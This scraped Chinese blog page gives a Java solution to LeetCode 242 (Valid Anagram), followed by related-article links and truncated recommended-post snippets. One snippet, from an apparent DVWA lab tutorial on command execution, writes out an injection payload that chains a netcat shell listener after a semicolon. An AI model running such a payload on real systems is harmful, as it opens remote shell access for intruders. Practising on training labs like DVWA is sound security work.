[LC] 242. Valid Anagram
Given two strings s and t , write a function to determine if t is an anagram of s.
Example 1:
Input: s = "anagram", t = "nagaram"
Output: true
Example 2:
Input: s = "rat", t = "car"
Output: false
Note:
You may assume the string contains only lowercase alphabets.
Follow up:
What if the inputs contain unicode characters? How would you adapt your solution to such case?
class Solution {
public boolean isAnagram(String s, String t) {
if (s.length() != t.length()) {
return false;
}
char[] charArr = new char[26];
for (int i = 0; i < s.length(); i++) {
charArr[s.charAt(i) - 'a'] += 1;
charArr[t.charAt(i) - 'a'] -= 1;
}
for (char ch : charArr) {
if (ch != 0) {
return false;
}
}
return true;
}
}
[LC] 242. Valid Anagram的更多相关文章
- LN : leetcode 242 Valid Anagram
lc 242 Valid Anagram 242 Valid Anagram Given two strings s and t, write a function to determine if t ...
- 242. Valid Anagram(C++)
242. Valid Anagram Given two strings s and t, write a function to determine if t is an anagram of s. ...
- 22. leetcode 242. Valid Anagram(由颠倒字母顺序而构成的字)
22. 242. Valid Anagram(由颠倒字母顺序而构成的字) Given two strings s and t, write a function to determine if t i ...
- 【LeetCode】242. Valid Anagram (2 solutions)
Valid Anagram Given two strings s and t, write a function to determine if t is an anagram of s. For ...
- [leetcode]242. Valid Anagram验证变位词
Given two strings s and t , write a function to determine if t is an anagram of s. Example 1: Input: ...
- 242. Valid Anagram 两个串的最基础版本
[抄题]: Given two strings s and t, write a function to determine if t is an anagram of s. For example, ...
- LeetCode 242 Valid Anagram
Problem: Given two strings s and t, write a function to determine if t is an anagram of s. For examp ...
- 【leetcode❤python】242. Valid Anagram
class Solution(object): def isAnagram(self, s, t): if sorted(list(s.lower()))==sorted(list ...
- 242. Valid Anagram
Given two strings s and t, write a function to determine if t is an anagram of s. For example,s = &q ...
随机推荐
- Springmvc接收数组参数
Springmvc接收数组参数,必须添加@RequestParam注解 注解格式@RequestParam(value="前端参数名[]") 示例: controller端的代码 ...
- Luogu P3031 高于中位数
定义序列\(x_i = f([H_i >=x])\;\;\;\;其中f(0) = -1,f(1) = 1\),那么区间[i,j]满足条件当且仅当sum_j-sum_{i-1} > 0,即s ...
- 33. docker swarm 集群服务通信 之 RoutingMesh - Ingress 网络
1.作用 当在 任何 一个 swarm 节点去访问 端口服务的时候 会通过 本节点 的 IPVS ( ip virtual service ) 到 真正的 swarm 节点上 当访问 docker h ...
- Python笔记_第四篇_高阶编程_再议装饰器和再议内置函数
1. 概述: 我们在前面用了很多的装饰器这个工具的方法.这个位置要系统的讲一下装饰器. 1.2 为什么需要装饰器. 装饰器本质是一个Python函数,它可以让其他函数在不需要任何代码变动的前提下增加额 ...
- DVWA-命令执行
开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 1 ...
- php IP地址转换
<?php $enip = ip2long('210.110.11.49); echo $enip."<br />";//-764540111 echo long ...
- Django知识点集合
- zookeeper以及集群的搭建
今天我来写一写zookeeper集群的搭建流程 1.zookeeper的搭建不难,难的是对他的理解以及良好的使用.单机版的zookeeper只需要解压后直接命令 启动即可 解压zookeeper,ta ...
- Django专题
一. web框架的原理: 1.C/S架构和B/S架构 C/S:客户端与服务器 B/S:浏览器与服务器 web开发 2.web开发的本质: socket服务端:收发消息都是按照HTTP协议的 ...
- tensorflow训练Oxford-IIIT Pets
参考链接https://github.com/tensorflow/models/blob/master/object_detection/g3doc/running_pets.md 先参考https ...